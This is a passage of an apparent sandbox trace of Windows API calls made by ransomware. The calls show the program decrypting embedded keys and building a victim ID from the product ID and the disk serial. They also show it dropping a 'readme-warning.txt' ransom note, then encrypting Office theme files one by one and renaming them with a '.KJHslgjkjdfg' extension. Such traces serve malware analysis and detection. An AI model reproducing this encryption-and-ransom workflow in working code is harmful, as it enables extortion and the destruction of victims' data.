(HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.496] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.496] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.496] GetProcessHeap () returned 0x2ef0000 [0172.496] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.496] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.496] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.496] GetProcessHeap () returned 0x2ef0000 [0172.496] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.496] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.496] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.496] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.497] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.497] RegCloseKey (hKey=0x114) returned 0x0 [0172.497] GetProcessHeap () returned 0x2ef0000 [0172.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.497] GetProcessHeap () returned 0x2ef0000 [0172.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.497] GetProcessHeap () returned 0x2ef0000 [0172.497] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.497] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.497] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.497] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.497] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.497] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.499] GetProcessHeap () returned 0x2ef0000 [0172.499] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.499] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.499] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.499] GetProcessHeap () returned 0x2ef0000 [0172.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.499] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\readme-warning.txt") returned 82 [0172.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.500] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.502] CloseHandle (hObject=0x114) returned 1 [0172.502] GetProcessHeap () returned 0x2ef0000 [0172.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.502] GetProcessHeap () returned 0x2ef0000 [0172.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.502] GetProcessHeap () returned 0x2ef0000 [0172.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.502] GetProcessHeap () returned 0x2ef0000 [0172.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.503] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.503] GetProcessHeap () returned 0x2ef0000 [0172.503] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.503] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0172.503] GetProcessHeap () returned 0x2ef0000 [0172.503] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0172.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.504] GetProcessHeap () returned 0x2ef0000 [0172.505] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0172.505] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.505] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0172.505] GetProcessHeap () returned 0x2ef0000 [0172.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0172.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.507] GetProcessHeap () returned 0x2ef0000 [0172.507] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.507] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.507] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.507] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.512] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.512] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.512] GetProcessHeap () returned 0x2ef0000 [0172.512] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.512] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.512] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.512] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.512] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.512] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.512] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.512] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.513] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.513] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.513] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb1d8, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb1d8, lpOverlapped=0x0) returned 1 [0172.514] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb1e0, dwBufLen=0xb1e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb1e0) returned 1 [0172.515] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.515] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb1e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb1e0, lpOverlapped=0x0) returned 1 [0172.515] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.515] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.515] SetEndOfFile (hFile=0x114) returned 1 [0172.518] GetProcessHeap () returned 0x2ef0000 [0172.518] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.518] GetProcessHeap () returned 0x2ef0000 [0172.518] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.kjhslgjkjdfg")) returned 1 [0172.522] CloseHandle (hObject=0x114) returned 1 [0172.523] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0172.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.524] GetProcessHeap () returned 0x2ef0000 [0172.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.524] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.524] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.524] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.524] GetProcessHeap () returned 0x2ef0000 [0172.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.524] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.524] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.525] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.527] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.527] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1e0, lpOverlapped=0x0) returned 1 [0172.527] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1e0) returned 1 [0172.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1e0, lpOverlapped=0x0) returned 1 [0172.528] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.528] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.528] SetEndOfFile (hFile=0x114) returned 1 [0172.531] GetProcessHeap () returned 0x2ef0000 [0172.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.531] GetProcessHeap () returned 0x2ef0000 [0172.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.kjhslgjkjdfg")) returned 1 [0172.539] CloseHandle (hObject=0x114) returned 1 [0172.539] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.539] GetProcessHeap () returned 0x2ef0000 [0172.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.539] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.539] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0172.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.544] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.544] GetProcessHeap () returned 0x2ef0000 [0172.544] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.544] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.544] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.544] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.544] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.545] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.545] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x507, lpOverlapped=0x0) returned 1 [0172.545] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x510, dwBufLen=0x510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x510) returned 1 [0172.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.545] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x510, lpOverlapped=0x0) returned 1 [0172.545] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.545] SetFilePointerEx 